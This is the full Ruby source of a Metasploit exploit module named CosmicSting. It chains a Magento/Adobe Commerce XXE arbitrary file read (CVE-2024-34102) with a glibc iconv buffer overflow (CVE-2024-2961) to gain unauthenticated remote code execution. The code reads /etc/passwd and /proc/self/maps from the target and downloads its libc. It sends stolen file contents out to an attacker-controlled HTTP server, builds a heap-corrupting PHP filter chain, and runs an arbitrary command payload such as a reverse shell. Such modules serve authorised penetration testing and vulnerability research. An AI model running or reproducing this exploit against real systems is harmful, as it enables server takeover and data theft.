Magento / Adobe Commerce Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Retry  prepend Msf::Exploit::Remote::AutoCheck  require 'elftools'  class ProcSelfMapsError < StandardError; end  PAD = 20  HEAP_SIZE = 2 * 1024 * 1024  BUG = '劄'  def initialize(info = {})    super(      update_info(        info,        'Name' => 'CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)',        'Description' => %q{          This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)          allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and          earlier if the PHP and glibc versions are also vulnerable:          - 2.4.7 and earlier          - 2.4.6-p5 and earlier          - 2.4.5-p7 and earlier          - 2.4.4-p8 and earlier          Vulnerable PHP versions:          - From PHP 7.0.0 (2015) to 8.3.7 (2024)          Vulnerable iconv() function in the GNU C Library:          - 2.39 and earlier          The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:          CVE-2024-34102 is an XML External Entity vulnerability leveraging  PHP filters to read arbitrary files from the target          system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.          The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use          of later in the chain.          With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961          can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a          payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.        },        'Author' => [          'Sergey Temnikov', # CVE-2024-34102 Discovery          'Charles Fol',     # CVE-2024-2961 Discovery + RCE PoC          'Heyder',          # module for CVE-2024-34102          'jheysel-r7'       # module        ],        'References' => [          [ 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'],          [ 'URL', 'https://sansec.io/research/cosmicsting'],          [ 'URL', 'https://www.ambionics.io/blog/iconv-cve-2024-2961-p1'],          [ 'URL', 'https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py'], # PoC this module is based on          [ 'CVE', '2024-2961'],          [ 'CVE', '2024-34102']        ],        'License' => MSF_LICENSE,        'Platform' => %w[linux unix],        'Privileged' => false,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [            'Unix Command',            {              'Platform' => %w[unix linux],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd              # Tested with cmd/linux/http/x64/meterpreter_reverse_tcp            }          ],        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2024-07-26', # The date the PoC for this exploit was made public        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options(      [        OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),        OptInt.new('DOWNLOAD_FILE_TIMEOUT', [ true, 'The amount of time to wait for the XXE to return the file requested', 10]),      ]    )  end  def check_magento    etc_password = download_file('/etc/passwd')    vprint_status('Attempting to download /etc/passwd')    if etc_password.nil?      CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).')    else      CheckCode::Vulnerable('Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.')    end  end  def check_php_rce_requirements    text = Rex::Text.rand_text_alpha(50)    base64 = Rex::Text.encode_base64(text)    path1 = "data:text/plain;base64,#{base64}"    result1 = download_file(path1)    if result1 == text      vprint_good('The data wrapper is working')    else      return CheckCode::Safe('The data:// wrapper does not work')    end    text = Rex::Text.rand_text_alpha(50)    base64 = Rex::Text.encode_base64(text)    path2 = "php://filter//resource=data:text/plain;base64,#{base64}"    result2 = download_file(path2)    if result2 == text      vprint_good('The filter wrapper is working')    else      return CheckCode::Safe('The php://filter/ wrapper does not work')    end    text = Rex::Text.rand_text_alpha(50)    compressed_text = compress(text)    base64 = Base64.encode64(compressed_text).gsub("\n", '')    path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}"    result3 = download_file(path)    if result3 == text      vprint_good('The zlib extension is enabled')    else      CheckCode::Safe('The zlib extension is not enabled')    end    CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.')  end  def check_libc_version    begin      @libc_binary = get_libc    rescue ProcSelfMapsError => e      return CheckCode::Unknown("There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")    end    return CheckCode::Unknown('Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary    # A string similar to the following should appear in the binary: "GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36."    printable_strings = @libc_binary.scan(/[[:print:]]{20,}/).map(&:strip)    libc_version = nil    printable_strings.each do |string|      if string =~ /GNU\s+C\s+Library.*version\s+(\d\.\d+)/        libc_version = Rex::Version.new(Regexp.last_match(1))        break      end    end    CheckCode::Unknown('Unable to determine the version of libc') unless libc_version    if libc_version > Rex::Version.new('2.39')      CheckCode::Safe("glibc version is not vulnerable: #{libc_version}")    end    CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}")  end  def check    setup_module    print_status('module setup')    magento_checkcode = check_magento    return magento_checkcode unless magento_checkcode.code == 'vulnerable'    print_good(magento_checkcode.reason)    php_checkcode = check_php_rce_requirements    return php_checkcode unless php_checkcode.code == 'appears'    print_good(php_checkcode.reason)    libc_version_checkcode = check_libc_version    return libc_version_checkcode unless libc_version_checkcode.code == 'appears'    print_good(libc_version_checkcode.reason)    CheckCode::Appears  end  def download_file(file)    @filter_path = "php://filter/convert.base64-encode/convert.base64-encode/resource=#{file}"    @target_file = file    @file_data = nil    send_path(@filter_path)    retry_until_truthy(timeout: datastore['DOWNLOAD_FILE_TIMEOUT']) do      break if @file_data    end    @file_data  end  def send_path(path)    @filter_path = Rex::Text.encode_base64(path)    vprint_status('Sending XXE request')    vprint_status("Filter path being sent: #{@filter_path}")    system_entity = Rex::Text.rand_text_alpha_lower(4..8)    xml = "<?xml version='1.0' ?>"    xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"    xml += '['    xml += "  <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"    xml += "    <!ENTITY % #{system_entity} SYSTEM \"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_file}/#{@filter_path}\"> %#{system_entity}; %#{@xxe_param};  "    xml += ']'    xml += "> <r>&#{@xxe_exfil};</r>"    json = {      address: {        totalsReader: {          collectorList: {            totalCollector: {              sourceData: {                data: xml,                options: 524290              }            }          }        }      }    }    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"),      'ctype' => 'application/json',      'data' => JSON.generate(json)    })    res  end  def find_main_heap(regions)    # Any anonymous RW region with a size greater than the base heap size is a candidate.    # The heap is at the bottom of the region.    heaps = regions.reverse.each_with_object([]) do |region, arr|      next unless region[:permissions] == 'rw-p' &&                  region[:stop] - region[:start] >= HEAP_SIZE &&                  (region[:stop] & (HEAP_SIZE - 1)).zero? &&                  ['', '[anon:zend_alloc]'].include?(region[:path])      arr << (region[:stop] - HEAP_SIZE + 0x40)    end    if heaps.empty?      raise ProcSelfMapsError, "Unable to find PHP's main heap in memory by parsing /proc/self/maps"    end    first = heaps[0]    if heaps.size > 1      heap_addresses = heaps.map { |heap| "0x#{heap.to_s(16)}" }.join(', ')      vprint_status("Potential heaps: [i]#{heap_addresses}[/] (using first)")    else      vprint_status("Using [i]0x#{first.to_s(16)}[/] as heap")    end    vprint_good('Successfully extracted the location in memory of the PHP heap')    first  end  def get_libc_region(regions, *names)    libc_region = regions.find do |region|      names.any? { |name| region[:path].include?(name) }    end    unless libc_region      raise ProcSelfMapsError, 'Unable to locate libc region in /proc/self/maps'    end    vprint_good("Successfully located the libc region in memory: #{libc_region}")    libc_region  end  def get_libc    @regions ||= get_regions    @info['heaps'] = find_main_heap(@regions)    @libc_region ||= get_libc_region(@regions, 'libc-', 'libc.so')    download_file(@libc_region[:path])  end  def get_symbols_and_addresses    begin      @libc_binary ||= get_libc    rescue ProcSelfMapsError => e      fail_with(Failure::UnexpectedReply, "There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")    end    fail_with(Failure::UnexpectedReply, 'Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary    # ELFFile expects a file, instead of writing it to disk use StringIO    libc_binary_file = StringIO.new(@libc_binary)    elf = ELFTools::ELFFile.new(libc_binary_file)    symtab_section = elf.section_by_name('.dynsym')    symbols = symtab_section.symbols    @info['__libc_malloc'] = nil    @info['__libc_system'] = nil    @info['__libc_realloc'] = nil    symbols.each do |symbol|      if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name        @info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start]      end    end    fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc']    vprint_status("__libc_malloc: #{@info['__libc_malloc']}")    vprint_status("__libc_system: #{@info['__libc_system']}")    vprint_status("__libc_realloc: #{@info['__libc_realloc']}")  end  def get_regions    # Obtains the memory regions of the PHP process by querying /proc/self/maps.    maps = download_file('/proc/self/maps')    raise ProcSelfMapsError, '/proc/self/maps was unable able to be downloaded' if maps.blank?    maps = maps.force_encoding('UTF-8')    pattern = /^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.+)$/    regions = []    # Example lines from: /proc/self/maps    # 712eebe00000-712eec000000 rw-p 00000000 00:00 0                          [anon:zend_alloc]    # 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348                    /opt/bitnami/apache/modules/mod_mime.so    maps.each_line do |region|      if (match = pattern.match(region))        start_addr = match[1].to_i(16)        stop_addr = match[2].to_i(16)        permissions = match[3]        path = match[4]        if path.include?('/') || path.include?('[')          path = path.split(' ', 4).last        else          path = ''        end        current = {          start: start_addr,          stop: stop_addr,          permissions: permissions,          path: path        }        regions << current      else        raise ProcSelfMapsError, '/proc/self/maps is unparsable'      end    end    vprint_good('Successfully downloaded /proc/self/maps and parsed regions')    regions  end  def compress(data)    # Compress the data and remove the 2-byte header and 4-byte checksum    compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION)    compressed_data[2..-5]  end  def compressed_bucket(data)    # Returns a chunk of size 0x8000 that, when dechunked, returns the data.    chunked_chunk(data, 0x8000)  end  def qpe(data)    # Emulates quoted-printable-encode.    data.bytes.map { |x| sprintf('=%02X', x) }.join  end  def ptr_bucket(*ptrs, size: nil)    # Raise an error if size is specified and doesn't match the expected length    if size && ptrs.length * 8 != size      fail_with(Failure::BadConfig, 'Size must match the length of pointers in ptr_bucket method')    end    bucket = ptrs.map { |ptr| p64(ptr) }.join    bucket = qpe(bucket)    bucket = chunked_chunk(bucket)    bucket = chunked_chunk(bucket)    bucket = chunked_chunk(bucket)    bucket = compressed_bucket(bucket)    bucket  end  def p64(value)    [value].pack('Q') # Pack as 64-bit little-endian  end  def chunked_chunk(data, size = nil)    if size.nil?      size = data.bytesize + 8    end    keep = data.bytesize + 2 # for "\n\n"    hex_size = data.bytesize.to_s(16)    padded_hex_size = hex_size.rjust(size - keep, '0')    "#{padded_hex_size}\n#{data}\n".b  end  def build_exploit_path    addr_free_slot = @info['heaps'] + 0x20    addr_custom_heap = @info['heaps'] + 0x0168    addr_fake_bin = addr_free_slot - 0x10    cs = 0x100    # Pad needs to stay at size 0x100 at every step    pad_size = cs - 0x18    pad = "\x00" * pad_size    3.times { pad = chunked_chunk(pad, pad.length + 6) }    pad = compressed_bucket(pad)    step1_size = 1    step1 = "\x00" * step1_size    step1 = chunked_chunk(step1)    step1 = chunked_chunk(step1)    step1 = chunked_chunk(step1, cs)    step1 = compressed_bucket(step1)    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"    step2_size = 0x48    step2 = "\x00" * (step2_size + 8)    step2 = chunked_chunk(step2, cs)    step2 = chunked_chunk(step2)    step2 = compressed_bucket(step2)    step2_write_ptr = "0\n".ljust(step2_size, "\x00") + p64(addr_fake_bin)    step2_write_ptr = chunked_chunk(step2_write_ptr, cs)    step2_write_ptr = chunked_chunk(step2_write_ptr)    step2_write_ptr = compressed_bucket(step2_write_ptr)    step3_size = cs    step3_overflow = ("\x00" * (step3_size - BUG.bytes.length) + "\xe5\x8a\x84") # BUG bytes    step3_overflow = chunked_chunk(step3_overflow)    step3_overflow = chunked_chunk(step3_overflow)    step3_overflow = chunked_chunk(step3_overflow)    step3_overflow = compressed_bucket(step3_overflow)    step4_size = cs    step4 = '=00' + "\x00" * (step4_size - 1)    3.times { step4 = chunked_chunk(step4) }    step4 = compressed_bucket(step4)    step4_pwn = ptr_bucket(      0x200000,      0,      # free_slot      0,      0,      addr_custom_heap, # 0x18      0,      0,      0,      0,      0,      0,      0,      0,      0,      0,      0,      0,      0,      @info['heaps'], # 0x140      0,      0,      0,      0,      0,      0,      0,      0,      0,      0,      0,      0,      0,      size: cs    )    step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18)    step4_use_custom_heap_size = 0x140    # Fetch payloads run the payload in the background and results in multiple sessions being returned.    # If we prevent the payload from running in the background and kill the parent process after the payload completes    # running successfully we ensure only one session gets returned and improves the stability allowing the exploit to    # be run consecutively without issue.    if payload.encoded.ends_with?(' &')      command = "#{payload.encoded}& kill -9 $PPID"    else      command = "#{payload.encoded} && kill -9 $PPID"    end    command = (command + "\x00").b    command = command.ljust(step4_use_custom_heap_size, "\x00".b)    vprint_status("COMMAND: #{command}")    step4_use_custom_heap = command    step4_use_custom_heap = qpe(step4_use_custom_heap)    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)    pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2))    resource = compress(compress(pages))    resource = Base64.encode64(resource.b)    resource = "data:text/plain;base64,#{resource.gsub("\n", '')}"    filters = [      # Create buckets      'zlib.inflate',      'zlib.inflate',      # Step 0: Setup heap      'dechunk',      'convert.iconv.latin1.latin1',      # Step 1: Reverse FL order      'dechunk',      'convert.iconv.latin1.latin1',      # Step 2: Put fake pointer and make FL order back to normal      'dechunk',      'convert.iconv.latin1.latin1',      # Step 3: Trigger overflow      'dechunk',      'convert.iconv.UTF-8.ISO-2022-CN-EXT',      # Step 4: Allocate at arbitrary address and change zend_mm_heap      'convert.quoted-printable-decode',      'convert.iconv.latin1.latin1',    ]    filters_string = filters.join('/')    "php://filter/#{filters_string}/resource=#{resource}"  end  def setup_module    @url_file = Rex::Text.rand_text_alpha_lower(4..8)    @url_data = Rex::Text.rand_text_alpha_lower(4..8)    @xxe_param = Rex::Text.rand_text_alpha_lower(4..8)    @xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8)    @info = Hash.new    @module_setup_complete = true    if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')    end    start_service({      'Uri' => {        'Proc' => proc do |cli, req|          on_request_uri(cli, req)        end,        'Path' => '/'      },      'ssl' => false    })    print_status('Server started')  end  def exploit    setup_module unless @module_setup_complete    fail_with(Failure::BadConfig, 'Payload is too big') if payload.encoded.length >= 0x140 # step4_use_custom_heap_size    print_status('Attempting to parse libc to extract necessary symbols and addresses')    get_symbols_and_addresses    print_status('Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps')    path = build_exploit_path    print_status('Sending payload...')    send_path(path)  end  def cleanup    # Clean and stop HTTP server    if service      begin        service.remove_resource(datastore['URIPATH'])        service.deref        service.stop        self.service = nil      rescue StandardError => e        print_error("Failed to stop http server due to #{e}")      end    end    super  end  def on_request_uri(cli, req)    super    url_parts = req.uri.split('/')    case url_parts[1]    when @url_file      path = Rex::Text.decode_base64(url_parts[2])      data = Rex::Text.rand_text_alpha_lower(4..8)      response = "<!ENTITY % #{data} SYSTEM \"#{path}\"><!ENTITY % #{@xxe_param} \"<!ENTITY #{@xxe_exfil} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_data}/%#{data};'>\">"      send_response(cli, response)    when @url_data      @file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, '')))      send_response(cli, '')    else      print_bad('Server received an unexpected request.')    end  endend